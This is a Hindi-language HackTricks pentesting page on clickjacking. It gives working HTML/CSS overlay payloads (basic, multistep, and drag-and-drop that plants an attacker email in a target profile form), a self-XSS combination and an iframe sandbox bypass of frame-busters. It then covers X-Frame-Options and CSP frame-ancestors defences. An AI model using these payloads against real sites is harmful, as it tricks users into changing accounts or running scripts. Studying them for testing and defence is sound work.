20 KiB
Clickjacking
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter पर 🐦 @carlospolopm को फॉलो करें.
- अपनी हैकिंग ट्रिक्स साझा करें HackTricks और HackTricks Cloud github repos में PRs सबमिट करके.
Trickest का उपयोग करके आसानी से वर्कफ्लोज़ को बिल्ड और ऑटोमेट करें जो दुनिया के सबसे उन्नत समुदाय टूल्स द्वारा संचालित होते हैं.
आज ही एक्सेस प्राप्त करें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Clickjacking क्या है
Clickjacking एक हमला है जो उपयोगकर्ता को क्लिक करने के लिए चालाकी से मजबूर करता है एक वेबपेज तत्व पर जो अदृश्य है या किसी अन्य तत्व के रूप में प्रच्छन्न है. इससे उपयोगकर्ता अनजाने में मैलवेयर डाउनलोड कर सकते हैं, मलिशियस वेब पेजों पर जा सकते हैं, क्रेडेंशियल्स या संवेदनशील जानकारी प्रदान कर सकते हैं, पैसे ट्रांसफर कर सकते हैं, या ऑनलाइन उत्पादों की खरीदारी कर सकते हैं. (यहाँ से here).
Prepopulate forms trick
कभी-कभी पेज लोड करते समय GET पैरामीटर्स का उपयोग करके फॉर्म के फील्ड्स की वैल्यू को भरना संभव होता है. एक हमलावर इस व्यवहार का दुरुपयोग कर सकता है फॉर्म को मनमाने डेटा से भरने के लिए और क्लिकजैकिंग पेलोड भेज सकता है ताकि उपयोगकर्ता सबमिट बटन दबाए.
Populate form with Drag&Drop
यदि आप चाहते हैं कि उपयोगकर्ता फॉर्म भरे लेकिन आप सीधे उससे कुछ विशेष जानकारी (जैसे कि ईमेल और या विशेष पासवर्ड जो आप जानते हैं) लिखने के लिए नहीं कहना चाहते हैं, तो आप उससे केवल Drag&Drop करने के लिए कह सकते हैं जो आपके नियंत्रित डेटा को लिखेगा जैसे कि इस उदाहरण में.
Basic Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
मल्टीस्टेप पेलोड
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
ड्रैग&ड्रॉप + क्लिक पेलोड
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
यदि आपने एक XSS हमले की पहचान की है जिसके लिए उपयोगकर्ता को किसी तत्व पर क्लिक करने की आवश्यकता होती है ताकि XSS को ट्रिगर किया जा सके और पृष्ठ Clickjacking के लिए संवेदनशील हो, तो आप इसका दुरुपयोग करके उपयोगकर्ता को बटन/लिंक पर क्लिक करने के लिए चालाकी से बहका सकते हैं।
उदाहरण:
आपने खाते की कुछ निजी जानकारियों में एक self XSS का पता लगाया है (जानकारियां जो केवल आप सेट और पढ़ सकते हैं). इन विवरणों को सेट करने के लिए पृष्ठ Clickjacking के लिए संवेदनशील है और आप GET पैरामीटर्स के साथ फॉर्म को पूर्व-पॉपुलेट कर सकते हैं।
__एक हमलावर उस पृष्ठ पर Clickjacking हमले की तैयारी कर सकता है फॉर्म को XSS पेलोड के साथ पूर्व-पॉपुलेट करके और उपयोगकर्ता को फॉर्म सबमिट करने के लिए चालाकी से बहका सकता है। इसलिए, जब फॉर्म सबमिट किया जाता है और मान बदले जाते हैं, तो उपयोगकर्ता XSS को निष्पादित करेगा।
Clickjacking से बचने के उपाय
क्लाइंट साइड रक्षा
Clickjacking को रोकने के लिए क्लाइंट साइड पर स्क्रिप्ट्स को निष्पादित करना संभव है जो निम्नलिखित व्यवहारों में से कुछ या सभी को करते हैं:
- जांचें और सुनिश्चित करें कि वर्तमान एप्लिकेशन विंडो मुख्य या टॉप विंडो है,
- सभी फ्रेम्स को दृश्यमान बनाएं,
- अदृश्य फ्रेम्स पर क्लिक करने से रोकें,
- उपयोगकर्ता पर संभावित Clickjacking हमलों को इंटरसेप्ट करें और चिह्नित करें।
बाईपास
चूंकि फ्रेम बस्टर्स JavaScript हैं, इसलिए ब्राउज़र की सुरक्षा सेटिंग्स उनके संचालन को रोक सकती हैं या वास्तव में ब्राउज़र JavaScript का समर्थन भी नहीं कर सकता है। फ्रेम बस्टर्स के खिलाफ एक प्रभावी हमलावर वर्कअराउंड HTML5 iframe sandbox
विशेषता का उपयोग करना है। जब इसे allow-forms
या allow-scripts
मानों के साथ सेट किया जाता है और allow-top-navigation
मान को छोड़ दिया जाता है, तो फ्रेम बस्टर स्क्रिप्ट को निष्क्रिय किया जा सकता है क्योंकि iframe यह जांच नहीं कर सकता है कि क्या यह टॉप विंडो है या नहीं:
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
`allow-forms` और `allow-scripts` मान iframe के भीतर निर्दिष्ट क्रियाओं की अनुमति देते हैं लेकिन शीर्ष-स्तरीय नेविगेशन अक्षम होता है। यह फ्रेम बस्टिंग व्यवहारों को रोकता है जबकि लक्षित साइट के भीतर कार्यक्षमता की अनुमति देता है।
Clickjacking हमले के प्रकार के आधार पर **आपको अनुमति देने की आवश्यकता हो सकती है**: `allow-same-origin` और `allow-modals` या [और भी अधिक](https://www.w3schools.com/tags/att_iframe_sandbox.asp)। हमले की तैयारी करते समय बस ब्राउज़र के कंसोल की जांच करें, यह आपको बता सकता है कि आपको कौन से अन्य व्यवहारों की अनुमति देने की आवश्यकता है।
### X-Frame-Options
**`X-Frame-Options` HTTP प्रतिक्रिया हेडर** का उपयोग यह इंगित करने के लिए किया जा सकता है कि क्या एक ब्राउज़र को `<frame>` या `<iframe>` में पृष्ठ को रेंडर करने की **अनुमति** दी जानी चाहिए। साइटें इसका उपयोग Clickjacking हमलों से बचने के लिए कर सकती हैं, यह सुनिश्चित करके कि **उनकी सामग्री अन्य साइटों में एम्बेड नहीं की जा सकती**। HTML सामग्री वाली सभी प्रतिक्रियाओं के लिए **`X-Frame-Options`** हेडर सेट करें। संभावित मान हैं:
* `X-Frame-Options: deny` जो **किसी भी डोमेन को सामग्री को फ्रेम करने से रोकता है** _(अनुशंसित मान)_
* `X-Frame-Options: sameorigin` जो केवल **वर्तमान साइट को** सामग्री को फ्रेम करने की अनुमति देता है।
* `X-Frame-Options: allow-from https://trusted.com` जो **निर्दिष्ट 'uri' को** इस पृष्ठ को फ्रेम करने की अनुमति देता है।
* नीचे दी गई सीमाओं की जांच करें क्योंकि **यदि ब्राउज़र इसका समर्थन नहीं करता है तो यह खुला रहेगा**।
* अन्य ब्राउज़र इसके बजाय नए **CSP frame-ancestors निर्देश का समर्थन करते हैं**। कुछ दोनों का समर्थन करते हैं।
### Content Security Policy (CSP) frame-ancestors निर्देश
**अनुशंसित clickjacking सुरक्षा** एप्लिकेशन की Content Security Policy में **`frame-ancestors` निर्देश** को शामिल करना है।\
**`frame-ancestors 'none'`** निर्देश **X-Frame-Options `deny`** निर्देश के समान व्यवहार में है (_कोई भी पृष्ठ को फ्रेम नहीं कर सकता_)।\
**`frame-ancestors 'self'`** निर्देश **X-Frame-Options `sameorigin`** निर्देश के समान है (_केवल वर्तमान साइट इसे फ्रेम कर सकती है_)।\
**`frame-ancestors trusted.com`** निर्देश **X-Frame-Options** `allow-from`निर्देश के समान है (_केवल विश्वसनीय साइट इसे फ्रेम कर सकती है_)।
निम्नलिखित CSP केवल समान डोमेन के फ्रेम्स को व्हाइटलिस्ट करता है:
`Content-Security-Policy: frame-ancestors 'self';`
अधिक जटिल उदाहरणों और आगे की जानकारी के लिए निम्नलिखित दस्तावेज़ देखें:
* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
### सीमाएँ <a href="#limitations" id="limitations"></a>
* **ब्राउज़र समर्थन:** CSP frame-ancestors सभी प्रमुख ब्राउज़रों द्वारा अभी तक समर्थित नहीं हैं।
* **X-Frame-Options को प्राथमिकता मिलती है:** [CSP Spec के "Relation to X-Frame-Options" अनुभाग](https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options) कहता है: "_यदि कोई संसाधन एक नीति के साथ वितरित किया जाता है जिसमें frame-ancestors नामक एक निर्देश शामिल होता है और जिसका डिस्पोजिशन "enforce" होता है, तो X-Frame-Options हेडर को अनदेखा किया जाना चाहिए_", लेकिन Chrome 40 और Firefox 35 frame-ancestors निर्देश को अनदेखा करते हैं और इसके बजाय X-Frame-Options हेडर का पालन करते हैं।
## संदर्भ
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) का उपयोग करके आसानी से **वर्कफ्लोज़ का निर्माण और स्वचालन** करें जो दुनिया के **सबसे उन्नत** समुदाय उपकरणों द्वारा संचालित होते हैं।\
आज ही पहुंच प्राप्त करें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **जुड़ें** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) या **Twitter** पर मुझे **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** के लिए अपनी हैकिंग ट्रिक्स साझा करें [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
</details>